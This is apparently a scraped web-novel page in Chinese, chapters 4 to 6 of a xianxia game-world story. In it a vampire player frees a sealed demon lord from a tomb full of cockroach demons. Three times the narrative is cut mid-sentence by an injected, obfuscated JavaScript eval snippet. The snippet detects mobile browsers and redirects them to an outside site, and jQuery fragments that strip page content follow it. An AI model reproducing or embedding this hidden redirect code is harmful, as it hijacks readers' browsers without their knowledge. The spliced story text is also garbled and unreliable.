【是否接受任务?】 眼前忽然跳出不祥的字样,崔滢拧了下眉,正要点【No】,耳尖一动捕捉到一丝细微的声响。 长条铁片游蛇般从黑暗中射出,迅速缚住崔滢的手脚,像是有一双无形的大手,硬生生将崔滢往洞穴深处拖拽! 崔滢:“……” 诶。 等,等一下。 先让她把no点了啊啊啊!! 【倒计时:3】 崔滢奋力挣扎! 【2】 崔滢一口咬上手腕上的束缚物。 铛,牙齿撞上铁片,崔滢浑身的毛都炸了。 【1】 崔滢拼了命地蹬腿,最后闭上眼睛。 完了。 提示面板一闪,跳出一行崭新的字样: 【已自动接受任务】 【任务倒计时:5:00:00】 4. 骑大螂4 拖拽的显然不管人体的物理特性,崔滢的屁股即将着火之际,那人才终于停了下来。 崔滢脸朝天,眼前一片白花花。 缕缕丝线织成半透明的网,粘稠如胶,内部流淌着暗红色的血线。一道灰色的人影隐隐透过丝网,崔滢看不见那人的面孔,只能听见声音,是个沙哑的女音。 “无垢宗的人?” 她“啧”了一声,“无垢宗已经没人了?就来个外门弟子。” “我的同门们也进来了。”情急之下,崔滢脱口而出,耳根开始发烫,“不止有我。” 她的中文是后天学习的,没有在中文语境里生活过,因此多少对语言有些不自信,这也是为什么她和游戏人物对话简略,总是用语气词。 “哦。”那人心不在焉,似乎并没有注意到崔滢说话时的磕绊与不自然,“他们现在在哪?” “我和他们走丢了。” “废物。” “……” “你叫什么名字?” “崔滢。” “崔滢,”她喊道,“灵力几层?” “练气。” “垃圾。” 崔滢:“……” 好没素质一人。 “去找你的同门,告诉他们我在这,半柱香的时间内,带他们找到我。” 崔滢看了一会儿,似乎终于看懂这里发生了什么,道:“你是被困住了吗?” 这些白色的东西是某种生物的粘网,这个人不慎掉入陷阱,不得已才用这种手段喊人来帮忙。 只不过从态度和语气,一点也看不出“不得已”的样子。 “动作快点。”她催促道,“那玩意快回来了。” 崔滢“哦”了一声,但是站在原地没动。 就在女音说话的间隙,一个漆黑的影子缓缓从粘网尽头爬出。 那是一只体型巨大的妖蛛。 头部巨大,深陷在甲壳前端,眼睛并非简单的复眼,而是由数以千计的、大小不一的幽暗晶体镶嵌在头部,八条步足覆盖着青铜色的骨甲和尖锐倒刺,攀在粘网上注视她,如同一只静谧的梦魇。 无疑,这应该就是女孩口中的“那玩意”,也是这方蛛网的始作俑者。 “你怎么还没走?”那人催促,“还不快去找你的同伴!” 来不及了。 妖蛛正在盯着自己,崔滢能感受到。 她已经是猎物了,这个时候跑,只会加速捕猎者的行动。 抱着一丝侥幸,崔滢抓紧时间打开游戏面板,点进技能页面,但那里空空如也。 她在这个游戏里还是个零基础的新手,既没有修为,也没有技能,如果她早点打开游戏模式的话说不定还能通过任务奖励获得一些,但现在后悔也来不及了。 自由是需要付出代价的。 她叹了口气。 宋如莺不明白为什么那些血蝠不攻击自己,崔滢却很清楚。 因为她是“血族”。 皮肤骤然泛起青灰,裂开的缝隙里透出细密绒毛。 脊椎一节节爆响着拉伸,人形在骨骼的哀鸣中扭曲,翼膜完全展开,巨大、干燥,紧绷得如同浸过桐油的皮革,一个非人的轮廓剪影取代了先前的位置。 妖蛛显然没意料到这一幕,下意识后撤,畏惧地看着化形的崔滢。 她倒悬在石壁之下,血红的眼珠中映着妖蛛停滞的表情。 …… 蛛网上的女孩被束缚住动弹不得,听见那不详的动静,暗道不妙。 她是乾元宗最后一个活下来的人,也必须活下去,才能把看到的东西传递给外界。 奈何这个洞穴十分诡异,错综复杂,遍布机关阵法,且藏着许多修炼上百年的大妖兽,她刚脱狼口又入虎穴,最终不慎栽在这妖蛛网上。 好不容易来了个人,绝不能放过这最后一线机会。 “喂,那个谁,你还在吗?” “我在。”声音很平静。 “你听好了。”她催动灵力,分明是要自爆金丹的架势,“万兽谷中出了内鬼,妖兽全部失控,谷内长老皆暴毙而亡,临死前打开结界就是为了封锁万兽谷,不让外界的人进来……” “求救信息不是万兽谷发出的。”她的语气苦涩,“而是内鬼。” “原来是这样。” 女孩一惊,循着声音扭头看去,只见蛛网上不知何时多出了一个人,她半蹲在上,垂目看她。 “这些话,你亲自跟他们说吧。” 任喜儿松了松手指,发觉身上的蛛网不知何时收了起来,妖蛛的气息隐匿了不少,瑟缩在角落,模样看上去竟有些可怜。 “……” 她缓缓转向崔滢,眼里就写着三个大字:你干的? 崔滢假装没看懂,伸手拽起她,两个人从蛛网落下,临走时任喜儿掐了一个火诀,被崔滢捂住了。 “它是好的。”崔滢眼神真挚,稀里糊涂说了这么一句。 任喜儿:“……” 好不容易扭转一点的印象瞬间湮灭,任喜儿犹疑地打量着崔滢,后者补充道:“它没有失控,只是把你当成入侵者了而已。” 任喜儿掐灭了火诀。 “你是驯兽师?” 崔滢“呃”了一声,“算是吧。” 任喜儿点了点头,不知道信没信,“我们走吧。” “去哪?” “去找内鬼。” “内鬼在这个洞穴里?” “对。” 两人的声音渐渐远去。 “你叫什么名字?” “崔滢。” “我叫任喜儿。你和你的同伴离散了?” 崔滢终于发现她正在盘问自己,尽管语气和表情都漫不经心。 不知道该怎么回答,崔滢打开了游戏模式,对话框选项卡瞬间跳出,她随便选了一样。 “洞穴入口有传送阵法,我手上的追踪符弄丢了,所以和他们走失了。” 原来有这么多的东西,崔滢在心里暗暗想。 只要打开游戏视界,一路上都能看到很多阵法123,符咒456,灵器789之类的文字标注,只不过她嫌太扰乱视线关掉了而已。 任喜儿对这个理由也不置可否。 “你打算怎么找内鬼?”崔滢跟在她身后问。 然后,崔滢就看见了她手上的东西。 追踪符。 “我在他身上藏了追踪符。”任喜儿道,“他还没有离开这个墓穴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269632|182250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 崔滢关掉游戏模式,嘟囔道:“墓穴?” 任喜儿:“嗯。” 崔滢眨眨眼睛。 她刚刚根本没用中文,但任喜儿还是听懂了。 说明游戏内除玩家与玩家之外的沟通根本不受语言限制,玩家不一定理解角色,但角色一定会理解玩家,这就是游戏的程序设置。 “正常的天然洞穴里不会有这种人工甬道。”任喜儿抚摸着壁面,巨大的石块严丝合缝的垒砌,缝隙中涌出畸变的青苔,她抬起头,崔滢也跟着抬头。 她们望向幽深的,黑暗的穹顶。 那里用刀篆刻了纹路,古朴的线条描绘,涂抹着掉皮的油彩,进入这洞穴的人各有各的目的,却极少有人会抬头,看到顶端的风景。 “……也没有这种壁画。” 注意到壁画是任喜儿被困在蛛网上的时候。她躺在那里,穹顶近在咫尺,壁画上的每一根线条,都看得清清楚楚。 崔滢仔细辨认了一下,壁画上的工笔和内容都相当的通俗易懂,无非是一个关于祭祀的故事。 一个弃婴被樵夫从悬崖边捡回,从那一天起,樵夫家里的养畜开始莫名消失,而每消失一些鸡鸭,第二天,樵夫便能从井里捞上来一些金子。 弃婴长得极快,短短一个月,已经从襁褓儿长成一个能走能跑的男孩。男孩的事情传遍整个村落,某天有一个乞丐偷偷跑进樵夫家上供了一只鸡,第二天他的床头就多出了一个锦囊,囊中装满了金翠灵玉,稀里哗啦响。 然后所有人都知道了这件事情。 樵夫的家渐渐成为了一个庙堂,人来人往,贡品堆成了小山。 不知道从什么时候开始,人们送往樵夫家的贡品不再是家畜,而是人。 每送上一对童男童女,他们获得的钱财与粮食,足以度过一个灾荒之年。 只生不灭即为癌。 欲望诞生的最初是因为缺乏,到最后变成无底的黑洞,麻痹吞噬着人的皮肉。 男孩长大了,披上袈裟,坐上供台,前来朝拜的人车马如龙,洪水一般淹没了这个小村落。人潮退去时,露出的建筑从村落变为了城镇。 终于,一位路过的侠客发现了此地异常。 他声称男人是来自地底的妖魔,通过蛊惑人心吞噬欲望来获得力量,如果放任其生长,付出的代价只会越来越大。这番言论为侠客引来了灾祸,不久过后,他被当地人割断喉咙,送到了“神灵”面前。 和从前一样,“神灵”吞下了侠客。 所有人都没料到的是,侠客早已将自身炼化成咒,当那伪装神灵的男人吞下他时,咒就已经种入体内,原地化棺,将他彻底钉入地底。 而那座小镇,也随着男人的沉没轰然坍塌。大地下沉,百年过后长出树植成为山谷,直到数百年前人类的足迹再度降临,在谷底创立了门派——也就是今天的万兽谷。 “万兽谷镇压着一个魔头。”任喜儿言简意赅地说了结论。 “这个地方,应该就是壁画上,魔头的墓穴。” 崔滢又想起了自己的“任务”,配上任喜儿口中“魔头”的故事,不禁感到一阵恶寒。 她要救的,不会就是这个故事里装神弄鬼,吃人啖血的大魔头吧? 5. 骑大螂5 崔滢跟着任喜儿,在墓穴里不知道走了多久。 忽然,她拉住了任喜儿。 “怎么了?” “有人。” 任喜儿看了看前方,只有一处拐角,除了穿堂的风,听不见半点多余的声音。 她又看回了崔滢。 后者睁着一双黑黝黝的无辜的眼睛,很认真地看着她。 “你是练气?”任喜儿忽然问。 崔滢不明白这个问题和现在有什么关联。 难道因为她是“练气”,所以不相信她说的话? 任喜儿的确不信。也没有全然否定,只是抽出自己的软剑,拍了拍崔滢纸片一样的肩: “呆着。” 然后从拐角闪身出去。 不多时,任喜儿的声音从那一头传递过来:“出来吧。” 崔滢规规矩矩地出来了。抬头就看见狭窄的甬道中乌麻麻站了一堆人,每个人都穿着一模一样的制服,站在最前方的是邱长老,手握屏息阵,面无表情地看着离群小鸡一般尴尬的揪衣服的崔滢。 “原来是你们呀。”她讷讷道。 “乾元宗任喜儿,见过邱长老。”任喜儿利落地收了剑行了道礼,宋如莺从人群中挤出来,喜出望外的跑到崔滢面前,握住她的手道: “有没有事?幸好幸好,你吓死我了知道吗!” 这人突然表现的跟自己很熟一样,语气焦虑不似作伪,崔滢更加尴尬了,呵呵笑了两声,脑子里搜不到可以客套的话也抽不出手点对话框,只好把刚刚接收到的信息脱口而出: “对了,万兽谷……” “万兽谷的人都死了。” 任喜儿沉重道,“我们到的时候,山谷里已经找不到活口了。” “……” 宋如莺轻轻放开崔滢的手,杏眸黯淡,闪动着不易察觉的哀意。 崔滢瞄了一眼手腕上多出来的追踪符,“……” 邱长老开口:“那之后呢?” “之后我们沿着前两个宗门留下的线索寻到了这里,却不知道谷内大部分失控的妖兽都聚集在这,乾元宗的队伍几乎全军覆没,只有我……侥幸进到这里。” 说到这里,任喜儿的语气似乎才有了一点真实的波动,她垂下眼帘,再抬起时,眸中已没有了情绪。 “万兽谷到底发生了什么?” 任喜儿摇摇头:“不清楚,不过答案应该就在这座墓穴中。” 邱长老沉吟。 “这个洞穴的灵力走向很奇怪,看似杂乱无章,实际遵循某种特定的规律,和我在古籍中见到过的某个阵法有相似之处。” 任喜儿想到了什么,眼神微微一动:“莫非长老要……” “不错。” 他点头,“我入海的这段时间,有劳诸位护法了。” 崔滢没跟上,听不懂的词太多了。入海?她环顾一圈,地下墓穴,山谷深处,哪里来的海? 白花花袖袍一掠,邱长老原地打坐,双目阖拢,鼻息屏住,好似化作一尊石雕,一动不动。 周围人都没什么反应,唯有崔滢面露惊异之色,好奇地看着邱长老的举动。 然后求知若渴地看向任喜儿。 任喜儿:“……” “早闻无垢宗邱长老,曾习得上古秘法‘破万卷’,可以识海为阁,藏万卷书魂。邱长老此番,莫不就是去寻书魂的?” 宋如莺笑了笑。 “古阵繁复,非我等能解,只稍等上片刻即可。反正大家也累了,正好趁此机会休整——崔师妹,你去哪?” 她笑吟吟地转向鬼鬼祟祟准备溜走的崔滢,后者身形一僵,吐出两个字: “上厕所。” “上什么?” 中文课好歹发挥了一点作用,崔滢紧急修改:“内,内急,我到别的地方处理一下。” “……”就没有体面一点的借口? 宋如莺意味深长地看了一眼崔滢手上的追踪符,眯眼笑,“墓穴里多鬼神,别走太远,尽快回来哦。” “哦。” 崔滢都拐过两道弯了,任喜儿在背后追上来,问就是答:“我也内急,不行?” “为什么不告诉他们内鬼的事。” 她忽然问,任喜儿笑了,食指一戳崔滢的脑袋:“看来你只是缺根弦,还不算傻。” “……” “我说了,我在内鬼身上种了追踪符,追踪符里有我的灵力,灵力与灵力相互吸引,所以才能锁定位置……” 崔滢一下反应过来,脚步都停了,“内鬼在无垢宗的队伍里?” “不错嘛。” “我们不能和他们一块行动。”任喜儿自然地搂住崔滢,她比她要矮一点,骨架窄一点,活活把崔滢衬托成了一只无助的大白鸟,“你也是这么想的,对吧?” 崔滢:“不是啊,我真内急。” “……” “不管了,连邱长老的屏息阵都能堪破,反正你肯定没有表面上看上去那么弱。”任喜儿干脆道,“适才邱长老说的没错,这墓穴的灵力的确有古怪,看似分散,但方向都有种诡异的一致,如果我们能先一步找出墓穴的阵眼,说不定能够先发制人,揪出内鬼!” 两个人一边说一边走。 走到一个岔路口时,崔滢假装自然地往其中一个路口拐,任喜儿“咦”了一下,“你怎么就确定是那边?” 因为托你的福接了那个该死的任务。任务一旦建立就会指引玩家前往指定地点,她的脚下有一根红色箭头,明明白白地指着现在的方向。 但崔滢找不到借口,只好假装慵懒,头也不回地往那边走。 两侧的石壁渐渐夹紧肩膀,甬道愈发狭窄,到最后仅能容纳一人通过。深处拂来尖锐的细风,像是谁在吹口哨一般,丝丝缕缕刮过脸侧,崔滢在甬道尽头停步,一颗碎石从脚尖落下,掉入百尺深渊。 这里没有灯,目之所及皆是化不开的黑暗,如果不是崔滢自带夜视能力,正常人走到这,直接就一步迈下去了。 任喜儿正准备掐火诀,又被崔滢伸手拦下。 “里面都是妖兽。”她的声音很平淡,平淡到可以磨去内容的严肃性,完全起不到警示作用,“用火会惊动它们。” “……” 任喜儿熄灭火诀,道:“那现在怎么办?” “你看得清吗?” “看不清。” “我看得清。” 任喜儿:“……” “所以我下去,你在这守着。”崔滢道,“一旦发生什么意外,你就点燃火诀,下来救我。” 崔滢应该是任喜儿这一路上遇到的最奇怪的人。 身为无垢宗外门弟子,却对本门长老的技能一无所知; 身上的灵力稀薄不过练气,却能越过邱长老的屏息阵感知到人群; 还有之前对付那只妖蛛,分明没有感受到半点多余的妖力或灵力,她是怎么驯服妖蛛的? 最最奇怪的,还是崔滢的眼睛。 任喜儿从没有在一个活人的脸上见过如此无神的双目。 没有聚光,没有深度,好像两颗蒙灰的珠子,吞没了所有折射进去的光线,传递不出任何情绪。 之所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269633|182250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 配合她到现在,任喜儿只是想给一个机会观察她。 所以对于崔滢提出的意见,任喜儿也只说:“好。” 她掏出一捆长绳系在崔滢腰间,另一端在自己的手腕上缠绕几圈,确认绳子无碍之后,崔滢深吸口气,小心翼翼地往下攀去。 夜视视角里,地底是一片嶙峋的土石,长满了可怖的毒刺与荆棘。 正中央有一口棺材,棺材上贴着红字黄底的符咒,在崔滢的眼中燃起冰蓝色的鬼火。 踩到地面之后,崔滢扯了扯绳子,让任喜儿把绳收了回去。如此,周围只剩她自己。 用绳子只是不想让任喜儿起疑,她看不见地底的情况,所以接下来,崔滢可以自由发挥了。 薄膜翅翼再次长了出来,迅速张开,刮出簌簌风流,朝着正中央滑翔而去。 忽然,崔滢身子一斜,低头看,地底的荆棘竟如同活过来一般,毒蛇甩尾,带刺的尾巴朝着崔滢狠狠鞭笞过来,一个闪身,崔滢躲过,翅膀却被划拉出拳头大的小口,又迅速弥合了。 崔滢眼睛一沉。 修复伤口会消耗能量,她出发前吸食的血液只够三天,如果在这里耗下去,恐怕连第二天都撑不过去。 思考间,荆棘精准锁定崔滢的位置,再度甩了过来! 荆棘的尖端含着有毒的组织液,崔滢的一边翅膀隐隐发麻,再中招一次,她大概就飞不起来了。思及此,崔滢振翅向前,身后的荆棘密丛仿佛受到了什么刺激,大片大片的翻滚上涌,崔滢低头,身下已经是一片蠕动的海,轰的一声,一根柱状荆棘猝不及防伸刺出来,几乎捅穿了崔滢的腹部! 每一根荆棘都带着类人的狡猾意志,出其不意,动则狠厉。 崔滢不断甩翼,还是难免被刺中,剧烈的疼痛和毒液麻痹了她的神经,崔滢翻身一滚,咚,重重落在棺材上方。 她喘着粗气,漫天生长的荆棘柱如同野兽密密麻麻的獠牙,安静地停在近在咫尺的上方,没有再进一步。 ——就好像是受到了什么威胁一样。 距离崔滢最近的一根荆棘尖端有一只静止的蜚蠊,触须摇动,生龙活虎,转了几圈,又迅速的消失在荆棘的缝隙中。 ……不愧是存活千年的古老妖兽,连这种地方都能无孔不入。 她的掌心贴合着棺盖,沉沉的深寒之意从粗糙的棺石传递,令眉毛不自觉抖了一下。 “你坐到我了。” 崔滢猛地坐起,警惕地往四周看。 谁在说话? “我说,你坐到我了。” “……” 崔滢缓缓扭头向后看去,一张冰山脸正面无表情地怼着她,下巴几乎碰到了眼睛。 她见鬼般跳了起来。 哦,确实是鬼。 棺材上方有一道淡蓝色的灵魂,身披宽袍,露出锁骨和胸膛,俊美无俦。如果按照方位推算,崔滢刚刚应该是坐在了这人的怀里,没错。 “……” “你在看哪?”男人温声,“我额头上刻字了?” 确实有字。 崔滢看着他头顶那一行【目标人物已出现】的黑色宋体大字。 男人如烟雾散开,又倏然凝在崔滢眼前,微微倾身,桃花眼含冰,手指抬起崔滢的下巴。 奇妙的是,明明是毫无实体的灵魂,但他的手指伸过来时,崔滢还是感受到了一股不可遏制的力量,迫使她将头抬了起来。 “不说话。” 她眨眨眼睛。 长发男人的眼尾有些下垂,天然适合伪装柔情似水,嗓音柔哑。 “哑巴?” 6. 骑大螂6 崔滢不是哑巴。 但她也不准备回答,单纯是因为自己对这个男人的了解太少,随便开口的话,容易让自己陷入被动。 “原来一直吵我的就是你。”他打量着崔滢,叹息,“练气的小修士,走此歪门邪道,想坐拥天下,还是毁灭世界?” 崔滢:“我是来救你的。” 男人眼神一凝。 一股威慑之力瞬间掐住了崔滢的脖子,一寸寸挤出了喉间的空气,他注视着崔滢,一字一句重复:“……救我?” “墓穴中设有迷宫阵,每隔一里都会出现一个岔路口,一共有八个,中途一旦选错,都会穿过不同的宫位通向死门。阵中设置了迷魂香,可以干扰灵力的方位判断,千百年间,鲜少有人能进到这里。” “你说你费尽心机千辛万苦来到此地,只是为了救我?” “就是。”崔滢坚持说辞,“我是来救你的。” “这张符是压制你的东西吗?”崔滢的眼神越过男人落在棺盖上,“我可以帮你取下……” 她的话音停住了,因为听见了笑声。 是这个魔头在笑。 “好吧。”他盯着崔滢的眼睛,懒散道,“你怎么就知道我想被救出去?” 崔滢噎住了,一下说不出话。 搞什么,还得她求着他被救一救呗。 她的时间有限,准确来说并不是任务时长有限,而是宋如莺在自己身上绑了追踪符,她追上来的时间有限。 她必须在宋如莺找到自己之前完成任务。 沉默间一只蜚蠊簌簌爬上了棺材,男人抬手,对准的方位空气忽然挤压,棺材上的蜚蠊瞬间爆开,只留下两根轻飘飘的虫须。 崔滢忽然想起,刚刚她躺在棺盖上时,也看见了许多这样的虫须。 研究了一会儿男人脸上的表情,崔滢终于开口:“那样是错的。” “你说什么?” “我说,”她抬起手,指着男人身后的蜚蠊尸体,“有些蟑螂体内带有虫卵,你这样搞,那些虫卵都被炸到荆棘中,假以时日,只会生出成倍的虫子。” 崔滢又想了想,“你是从什么时候开始灭虫的?” “……” “几百年前。”他说。 崔滢:“……” 怪不得就连攻击她的荆棘上都有蟑螂。 这片看似张扬的荆棘海,底下可能早就千疮百孔,长满爬动的黑色油皮双马尾生物了。 甚至怀疑刚刚那些活物一般攻击崔滢的荆棘条,内部也有可能是由无数只蜚蠊组成。毕竟荆棘没有攻击她的理由,而蜚蠊作为墓穴妖兽,一定会针对她这个闯入的外来者。 蜚蠊吞吃人肉,不出意外,棺中尸作为这墓穴之中唯一的可食用垃圾,一定会被觊觎,频繁骚扰。 所以男人脸上才有那一丝无法掩饰的焦躁。 “我可以帮你。”崔滢忽然道,脆生生的,“我把你放出去,你自然可以远离这些蜚蠊,不是吗?” 男人怔了一会儿,笑出声。 带着点嗤笑的意味。 “不过是些虫子,还奈何不了我。”他看她的眼神就像是在看一只宠物,“倒是你,千方百计要我出去,谁派你来的?” 崔滢总是不直接回答他的问题:“那好吧。” 话音落,周围骤然响起巨大的声响,像无数被揉碎的风,抑或千百万支静电同时炸开。 平台四周涌上麻麻一片虫海。 蜚蠊的足支在砖地敲打,剐蹭着耳朵的每一根神经。男人皱了下眉,环视一周,最终看向眼前这个面无表情的少女。 “你干的?” 对。 就是崔滢干的。 基础的力量,速度,自愈和夜视,是血族的必备技能;在此之上,高等血族还有“天赋”之说,血族个体拥有不同的“天赋”,例如隐身,化影,魅惑,精神控制等等。 徐薇一直在研究崔滢的天赋能力,始终得不到一个确切的答案。 因为相比较其他血族,她的能力十分普通,不那么显眼,也没有强大的作用,甚至日常都不一定能用到,简直像个废品。 也正因为是个废品,她才能够在徐薇的眼皮底下瞒过去,滴水不漏。 她的能力,是模仿信息素。 自然界的绝大多数生物都通过信息素交流,求偶,标记,防御,协作等等,唯独人类是个例外。蜚蠊的视觉系统非常简单,它们的交流以化学信息素为核心,崔滢只要释放出和蜚蠊相似的信息素,它们就会把她当成同类,继而避开攻击。 而现在,她站在这里,要逼迫一个魔头被自己救出去,她该释放什么样的信息素? 空气仿佛被切割成成千上万的方块相互挤压,大量的蜚蠊原地爆开,白浆与卵珠纷飞,又有源源不断的蜚蠊海涌上来,速度越来越快,一浪叠着一浪,令人手脚生凉。 男人若有所思。 苍白细淡的少女立在漆黑的荆棘背景中,脚下虫海翻滚,但她好似什么也没察觉,只是安静地看着高高在上的魂体,明明只是站在那,却无法忽视,强烈地存在着。 【任务倒计时:00:30:00】 “这些蜚蠊好像暴走了。”已经这么明显了,她还是要演这一手,“现在不走,你的身体就会被吃掉。” 男人看着她,不知是什么颜色的瞳孔闪过一线沉光,像是一株吸食血液的曼陀罗,缓慢的绞紧。 他低声笑了起来。 “有意思。” 此前崔滢都没什么反应,只有在听到这句话的时候头皮麻了一下,闭了闭眼睛,就听见对方问自己:“何方人氏,告诉我,我就跟你走。” “宋如莺,无垢宗弟子。”崔滢眼皮也不眨脱口而出,心里都为自己如此快的反应感到惊异。 赞,她心想,这把太会搞了,正好试试随机故事线的算法边界。 “仙门弟子为何要救我?”这个理由并没有成功取悦男人,眼底寒意更盛,斥道,“漏洞百出,究竟有什么目的?” 这下崔滢更是毫不犹豫:“因为我爱你。” ??? 崔滢的中文不够熟练,自从知道角色一定会理解玩家的规律后,她就开始放飞自我了。 在这里,她用的是“Iloveyou”。 站在崔滢的角度来说,这句话里的感情重量并没有那么深刻,只是在表达一种很日常的喜欢;但经过游戏系统的直译,落到旁人耳朵里,就不是那么回事了。 男人的表情立时一变。 强大的力量猝不及防再次的攫住崔滢的脖子,挤压空气,她的脸迅速紫涨,很快隐隐泛出死亡的灰黑。 崔滢盯向男人,面露不解之色。 因为这点不解,男人更加不爽了。 “你可以撒谎,我自有判断。”他的眼神一寸寸冷下去,温柔的语气仍旧没变,“但不能如此羞辱我。” ? 崔滢的不解不减反增,气若游丝道:“我没有羞辱……” “够了。” 脖子上的力卸去,灵魂重新悠闲地坐回棺材上,“既然你那么想救我,那就来试试吧。” 蜚蠊们如潮水般退去,为崔滢让开一条道。 男人的视线追随的崔滢的动作,看着她的手指穿过自己落到黄符上,触碰到的一瞬间,如同五指山一般压在棺材上方的纸符,被崔滢轻飘飘地揭了下来。 男人:“……” 他掀起眼睛,第二次正眼看向这个缺乏情绪色彩的少女。 那瞬间,一道沙哑的声音穿过千年时间的缝隙抵达耳畔:除非是没有心跳的人…… 只有没有心跳的人,才能打开这个封印。 棺材动了。 尘封千年的棺盖发出嘲哳的摩擦声,棺中的“尸体”缓缓坐起。 打开的瞬间,无边冷气扩张到整片荆棘,冰霜凝结,万物噤声。棺中人长发如瀑,久不见光的肌肤冷玉般的森白,几乎和那身雪白的里衣融为一体。 唇角抿着拒人千里的冷意,如刻的眉骨在眼里投下阴翳,一双含情桃花眼微微眯起,缓缓落在崔滢身上。 给崔滢看的呆了一瞬。 搞什么。 说制作组在这块没有色诱的心思,她是不信的。 “没有心跳的人?”躯体发出的声音和灵魂神识不够匹配,更加沙哑,像是两块锋利的冰摩挲,齿间寒凉。 “小丫头。”他懒懒倚着棺边,“你可知我是谁?” 反正肯定不能说不知道。 “你说救我,是因为爱我。那救出我的代价,你有没有想过?” 崔滢敷衍地点了点头。 她只知道完不成任务,游戏里的崔滢就会被系统抹杀。至于代价啊后果什么的,无非那些,这只是个游戏。 比起这些,她还不如反省思考下一次的任务选择。 温如骨:“外面那些是你的同伴吧。” 他斜着眼,饶有兴致地看着崔滢的反应,继续补充:“如果我把他们全都杀了,你觉得怎么样?” “……” 震惊,愤怒,质问他吧。 哪怕一丝丝表情的破裂也好。 一个人再能装,也装不过她的理智和道德,崔滢毫无波动的状态令温如骨感到厌烦,在彻底解封之前,他需要先撕下这女人伪善的面具。 大概是离他太近,崔滢受不住阵阵寒意打了个喷嚏,吸着鼻子道:“啊,那样不太好吧。” 她看见了温如骨停滞的神色,贴心解释道:“你躺了几百年,四肢没退化不错了,肯定需要一个活动恢复的时间,不适合与人起冲突。” “……” 她在放什么狗屁? 温如骨从棺材中站起,赤足踩上地面,冰霜随着他的移动蔓延,一寸一寸延伸到崔滢跟前。 高大的身形充满压迫,俯视着面前这个表情无辜的少女。 “那如果我,把你唤醒我的事情告诉你的同门,怎么样?” “……” 温如骨终于在崔滢脸上看见了自己想要的表情,尽管转瞬即逝。 唇角一勾。 他弯下腰,直视着崔滢的眼睛,声音轻的就像是在哄睡。 “你会后悔救我的。” 话音落,荆棘丛像是感知到了什么迅速坍缩,高处的石壁亮起极光,万丈寒冰拔地而起,尖锐的冰刺突出,瞬息之间将这个深坑四分五裂! 已经赶到上方入口正在观望的宋如莺瞳孔缩了缩。 这里似乎……有种不一般的气息? 她猛地回首,“长老,洞底好像有什么东西!” 邱长老脸色阴沉,看向一旁若无其事的任喜儿,开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269634|182250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“任小道友带着我宗弟子来到这里,意欲何为?” “别误会啊。”任喜儿脸色一摆,“是她自己非要跟着我的。” 宋如莺腕上的追踪符还在嗡嗡亮,说明被追踪者还活着,她立刻抬手请命:“长老,崔滢也是我宗弟子,不可坐视不管,这洞穴快塌了,你们先走,让我……” 任喜儿不耐烦地打断:“用得着你?” “……” 不同于宋如莺手腕上的追踪符,任喜儿的手腕上密密缠着一圈绳索,她在崔滢离开的地方留了绳子,一旦感受到力量,便会立刻将崔滢拉上来。 可惜,追踪符和绳索都还没来得及发挥作用。 寒气凝冻三尺之际,浓稠的黑暗忽然产生畸变,随之而来的是冲天的妖气,令甬道中的所有人闻之色变! 好强的妖气! 那是什么东西? 触须。 手臂粗的触须。 如同活物一般猝然现身,几乎是贴着宋如莺摇晃,她认出了这触须的归属,脸色一下子褪得干干净净。 宋如莺后退一步,甚至不敢探头去看攀在脚下崖壁上的庞然巨物,颤声道:“跑……” “快跑——!!” 任喜儿皱眉:“那是什么……” “是蠊后。”邱长老缓缓吐出,脸色难看至极,“只在上古战场的传说中存在过的妖物。” 闻言,任喜儿的脸也绿了。 蜚蠊这玩意,不死不灭,一生二二生三,如同瘟疫,一旦数量达标,足以使一个军团的人覆灭。 一只小小的蜚蠊尚且如此恶心,任喜儿简直不敢去想,那么粗的触须,藏在崖壁上的传说中的蠊后,该是多么恐怖的非人生物?! 一阵风掠过身旁,宋如莺脚踏疾风,看向旁边面无表情狂奔的任喜儿出言讽刺:“不救崔滢了?” “人各有命!”她大声,声音在地动山摇之中模糊,“我要能活下来,每年都给她上香!” 石壁表面簌簌掉着粉末,整片岩壁突然发出沉闷的呻吟,一道蛛网般的裂缝从穹顶闪电般劈了下来,木泓拔剑砍断一条轰然下落的石梁,大声吼道:“走这边!” 甬道狭窄不好御剑,众人只能靠轻功狂奔,邱长老口中念诀,一张光屏在众人头顶骤然张开,挡下碎石落雨,霎时狂风大作,众人只感觉身后一阵强力助推,穿过重重迷宫弯道,眼前一宽! 他们跑出了墓穴。 还没来得及欣喜,上空等候已久的妖兽红眼如星点在众人面前悉数点亮,伴随着阵阵低吼,山谷外的妖兽倾巢出动,朝着这群死里逃生的修士张开血口獠牙! “……” 任喜儿很悲痛:“上一个队伍就是这么全军覆没的!” “闭上你的乌鸦嘴!”宋如莺厉声打断,两指并拢,“碧血!” 